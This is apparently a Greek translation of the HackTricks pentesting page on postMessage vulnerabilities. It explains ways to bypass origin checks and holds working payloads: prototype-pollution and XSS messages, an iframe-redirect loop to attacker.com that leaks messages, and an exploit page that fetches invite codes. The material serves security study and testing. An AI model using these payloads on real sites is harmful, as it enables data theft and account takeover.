.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage Vulnerabilities
PostMessage Vulnerabilities
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Send PostMessage
PostMessage χρησιμοποιεί την παρακάτω λειτουργία για να στείλει ένα μήνυμα:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Σημειώστε ότι το targetOrigin μπορεί να είναι ένα '*' ή μια διεύθυνση URL όπως https://company.com.
Στο δεύτερο σενάριο, το μήνυμα μπορεί να σταλεί μόνο σε αυτή τη διεύθυνση (ακόμα κι αν η προέλευση του αντικειμένου παραθύρου είναι διαφορετική).
Εάν χρησιμοποιηθεί το wildcard, τα μηνύματα θα μπορούσαν να σταλούν σε οποιαδήποτε διεύθυνση, και θα σταλούν στην προέλευση του αντικειμένου Window.
Επίθεση iframe & wildcard στο targetOrigin
Όπως εξηγείται σε αυτή την αναφορά, αν βρείτε μια σελίδα που μπορεί να iframed (χωρίς προστασία X-Frame-Header
) και που στέλνει ευαίσθητο μήνυμα μέσω postMessage χρησιμοποιώντας ένα wildcard (*), μπορείτε να τροποποιήσετε την προέλευση του iframe και να leak το ευαίσθητο μήνυμα σε μια διεύθυνση που ελέγχετε.
Σημειώστε ότι αν η σελίδα μπορεί να iframed αλλά το targetOrigin είναι ρυθμισμένο σε μια διεύθυνση URL και όχι σε wildcard, αυτό το κόλπο δεν θα λειτουργήσει.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
εκμετάλλευση του addEventListener
addEventListener
είναι η συνάρτηση που χρησιμοποιεί το JS για να δηλώσει τη συνάρτηση που αναμένει postMessages
.
Ένας κώδικας παρόμοιος με τον παρακάτω θα χρησιμοποιηθεί:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Σημειώστε σε αυτή την περίπτωση πώς το πρώτο πράγμα που κάνει ο κώδικας είναι έλεγχος της προέλευσης. Αυτό είναι τρομερά σημαντικό κυρίως αν η σελίδα πρόκειται να κάνει οτιδήποτε ευαίσθητο με τις πληροφορίες που λαμβάνει (όπως η αλλαγή ενός κωδικού πρόσβασης). Αν δεν ελέγξει την προέλευση, οι επιτιθέμενοι μπορούν να κάνουν τα θύματα να στείλουν αυθαίρετα δεδομένα σε αυτά τα endpoints και να αλλάξουν τους κωδικούς πρόσβασης των θυμάτων (σε αυτό το παράδειγμα).
Αρίθμηση
Για να βρείτε ακροατές γεγονότων στην τρέχουσα σελίδα μπορείτε να:
- Αναζητήσετε τον κώδικα JS για
window.addEventListener
και$(window).on
(έκδοση JQuery) - Εκτελέσετε στην κονσόλα εργαλείων προγραμματιστή:
getEventListeners(window)
- Μεταβείτε σε Elements --> Event Listeners στα εργαλεία προγραμματιστή του προγράμματος περιήγησης
- Χρησιμοποιήστε μια επέκταση προγράμματος περιήγησης όπως https://github.com/benso-io/posta ή https://github.com/fransr/postMessage-tracker. Αυτές οι επεκτάσεις προγράμματος περιήγησης θα παρεμποδίσουν όλα τα μηνύματα και θα σας τα δείξουν.
Παράκαμψη ελέγχου προέλευσης
- Το χαρακτηριστικό
event.isTrusted
θεωρείται ασφαλές καθώς επιστρέφειTrue
μόνο για γεγονότα που παράγονται από γνήσιες ενέργειες χρηστών. Αν και είναι δύσκολο να παρακαμφθεί αν έχει υλοποιηθεί σωστά, η σημασία του στους ελέγχους ασφαλείας είναι αξιοσημείωτη. - Η χρήση του
indexOf()
για την επικύρωση προέλευσης σε γεγονότα PostMessage μπορεί να είναι επιρρεπής σε παράκαμψη. Ένα παράδειγμα που απεικονίζει αυτή την ευπάθεια είναι:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Η μέθοδος
search()
από τοString.prototype.search()
προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή σε regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Η συνάρτηση
match()
, παρόμοια με τηsearch()
, επεξεργάζεται regex. Αν η regex είναι κακώς δομημένη, μπορεί να είναι επιρρεπής σε παράκαμψη. -
Η συνάρτηση
escapeHtml
προορίζεται να καθαρίζει τις εισόδους διαφεύγοντας χαρακτήρες. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει διαφύγει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει τοhasOwnProperty
, ηescapeHtml
δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα: -
Αναμενόμενη Αποτυχία:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Παράκαμψη της διαφυγής:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο File
είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της ιδιότητας name
που είναι μόνο για ανάγνωση. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση escapeHtml
, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας.
- Η ιδιότητα
document.domain
στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει το domain, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής τοποθεσίας.
e.origin == window.origin παράκαμψη
Όταν ενσωματώνετε μια ιστοσελίδα μέσα σε ένα sandboxed iframe χρησιμοποιώντας %%%%%%, είναι κρίσιμο να κατανοήσετε ότι η προέλευση του iframe θα οριστεί σε null. Αυτό είναι ιδιαίτερα σημαντικό όταν ασχολείστε με sandbox attributes και τις επιπτώσεις τους στην ασφάλεια και τη λειτουργικότητα.
Με την καθορισμένη allow-popups
στο sandbox attribute, οποιοδήποτε παράθυρο popup ανοίγει από μέσα στο iframe κληρονομεί τους περιορισμούς sandbox του γονέα του. Αυτό σημαίνει ότι εκτός αν περιλαμβάνεται επίσης το χαρακτηριστικό allow-popups-to-escape-sandbox
, η προέλευση του παραθύρου popup ορίζεται επίσης σε null
, ευθυγραμμισμένη με την προέλευση του iframe.
Κατά συνέπεια, όταν ανοίγει ένα popup υπό αυτές τις συνθήκες και ένα μήνυμα αποστέλλεται από το iframe στο popup χρησιμοποιώντας postMessage
, και οι δύο πλευρές αποστολής και λήψης έχουν τις προελεύσεις τους ορισμένες σε null
. Αυτή η κατάσταση οδηγεί σε ένα σενάριο όπου e.origin == window.origin
αξιολογείται ως αληθές (null == null
), επειδή τόσο το iframe όσο και το popup μοιράζονται την ίδια τιμή προέλευσης null
.
Για περισσότερες πληροφορίες διαβάστε:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
Παράκαμψη e.source
Είναι δυνατόν να ελέγξετε αν το μήνυμα προήλθε από το ίδιο παράθυρο στο οποίο ακούει το σενάριο (ιδιαίτερα ενδιαφέρον για Content Scripts από επεκτάσεις προγράμματος περιήγησης για να ελέγξετε αν το μήνυμα στάλθηκε από την ίδια σελίδα):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
Μπορείτε να αναγκάσετε το e.source
ενός μηνύματος να είναι null δημιουργώντας ένα iframe που στέλνει το postMessage και διαγράφεται αμέσως.
Για περισσότερες πληροφορίες διαβάστε:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
Παράκαμψη X-Frame-Header
Για να εκτελέσετε αυτές τις επιθέσεις, ιδανικά θα πρέπει να μπορείτε να τοποθετήσετε τη σελίδα του θύματος μέσα σε ένα iframe
. Αλλά ορισμένα headers όπως το X-Frame-Header
μπορούν να αποτρέψουν αυτή τη συμπεριφορά.
Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε μια λιγότερο κρυφή επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας την κύρια σελίδα
Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε δεδομένα ευαίσθητης postmessage που αποστέλλονται σε ένα child iframe μπλοκάροντας την κύρια σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια XSS στο παιδί για να διαρρεύσετε τα δεδομένα πριν αυτά ληφθούν:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
Κλοπή μηνύματος τροποποιώντας τη θέση του iframe
Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να αλλάξετε τη θέση αυτού του child iframe, έτσι ώστε αν λαμβάνει ένα postmessage που αποστέλλεται χρησιμοποιώντας ένα wildcard, ένας επιτιθέμενος θα μπορούσε να αλλάξει την προέλευση αυτού του iframe σε μια σελίδα που ελέγχει και να κλέψει το μήνυμα:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage σε Prototype Pollution και/ή XSS
Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του postMessage
εκτελούνται από JS, μπορείτε να iframe την σελίδα και να εκμεταλλευτείτε την προτοτυπική ρύπανση/XSS στέλνοντας την εκμετάλλευση μέσω του postMessage
.
Μερικά πολύ καλά εξηγημένα XSS μέσω postMessage
μπορούν να βρεθούν στο https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Παράδειγμα μιας εκμετάλλευσης για να εκμεταλλευτείτε Prototype Pollution και στη συνέχεια XSS μέσω ενός postMessage
σε ένα iframe
:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
Για περισσότερες πληροφορίες:
- Σύνδεσμος στη σελίδα σχετικά με προβλήματα πρωτοτύπου
- Σύνδεσμος στη σελίδα σχετικά με XSS
- Σύνδεσμος στη σελίδα σχετικά με προβλήματα πρωτοτύπου από την πλευρά του πελάτη σε XSS
Αναφορές
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Για εξάσκηση: https://github.com/yavolo/eventlistener-xss-recon
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.